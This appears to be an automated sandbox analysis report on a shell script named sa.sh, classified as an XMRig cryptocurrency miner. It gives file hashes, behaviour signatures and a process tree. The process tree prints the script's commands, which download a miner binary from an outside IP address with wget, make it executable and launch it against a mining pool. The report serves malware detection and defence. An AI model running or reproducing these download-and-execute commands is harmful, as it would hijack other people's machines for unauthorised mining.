Overview

overview

10

Static

static

1

sa.sh

ubuntu-18.04-amd64

10

sa.sh

debian-9-armhf

10

sa.sh

debian-9-mips

10

sa.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    29s
  • max time network
    29s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240729-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    29-12-2024 23:44

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General

  • Target

    sa.sh

  • Size

    438B

  • MD5

    52f6ef322dd61383cc5f03bba971ecc1

  • SHA1

    a540ec9917e63a178aa44b3f3570a54ff8c88135

  • SHA256

    82d5f1b0b96907494a793d1cd838b2ea1b8fc7f7e758ae56bcc75d89ed6f3e97

  • SHA512

    c17b540e81ca673cfb39cedb1417bfebb0367d61f9f9315710713bc0167cfb953b2b0fdec2bad0435c4ac423e41935fac7fa76ceb288f07174273b9f32f1d938

Score
10/10
xmrigxmrig_linuxantivmdefense_evasiondiscoveryminer

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
    miner
  • Xmrig family
    xmrig
  • Xmrig_linux family
    xmrig_linux
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

    antivm
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

    discovery
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads CPU attributes 1 TTPs 49 IoCs
    discovery
  • Enumerates kernel/hardware configuration 1 TTPs 24 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/sa.sh
    /tmp/sa.sh
    1⤵
      PID:1503
    • /usr/bin/nohup
      nohup bash /tmp/sa.sh nobg
      1⤵
        PID:1504
      • /usr/local/sbin/bash
        bash /tmp/sa.sh nobg
        1⤵
          PID:1504
        • /usr/local/bin/bash
          bash /tmp/sa.sh nobg
          1⤵
            PID:1504
          • /usr/sbin/bash
            bash /tmp/sa.sh nobg
            1⤵
              PID:1504
            • /usr/bin/bash
              bash /tmp/sa.sh nobg
              1⤵
                PID:1504
              • /sbin/bash
                bash /tmp/sa.sh nobg
                1⤵
                  PID:1504
                • /bin/bash
                  bash /tmp/sa.sh nobg
                  1⤵
                    PID:1504
                    • /usr/bin/wget
                      wget http://81.28.10.96/xmrig --no-check-certificate -O xmrig
                      2⤵
                      • Writes file to tmp directory
                      PID:1505
                    • /bin/chmod
                      chmod 777 xmrig
                      2⤵
                      • File and Directory Permissions Modification
                      PID:1531
                    • /usr/bin/pgrep
                      pgrep -x xmrig
                      2⤵
                      • Reads CPU attributes
                      • Reads runtime system information
                      PID:1532
                    • /bin/sleep
                      sleep 5
                      2⤵
                        PID:1534
                      • /tmp/xmrig
                        ./xmrig --url 193.232.178.53:80 -B
                        2⤵
                        • Executes dropped EXE
                        • Checks hardware identifiers (DMI)
                        • Reads hardware information
                        • Checks CPU configuration
                        • Reads CPU attributes
                        • Enumerates kernel/hardware configuration
                        PID:1533
                      • /usr/bin/pgrep
                        pgrep -x xmrig
                        2⤵
                        • Reads CPU attributes
                        • Reads runtime system information
                        PID:1542
                      • /bin/sleep
                        sleep 5
                        2⤵
                          PID:1543
                        • /usr/bin/pgrep
                          pgrep -x xmrig
                          2⤵
                          • Reads CPU attributes
                          • Reads runtime system information
                          PID:1544
                        • /bin/sleep
                          sleep 5
                          2⤵
                            PID:1545

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

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                        Downloads

                        • /tmp/xmrig
                          Filesize

                          7.9MB

                          MD5

                          8f4fff0ded94f1141768220906abfbb8

                          SHA1

                          ea7c97294f415dc8713ac8c280b3123da62f6e56

                          SHA256

                          b0e1ae6d73d656b203514f498b59cbcf29f067edf6fbd3803a3de7d21960848d

                          SHA512

                          0096072a1482f8e7999867baa3dd6e96d51591e9f7645c9ff276b53984957025c83e1fe52e5c4f55639eeed2bdbd80bbd57d7dacd84468ce09c834e39dfc4bee

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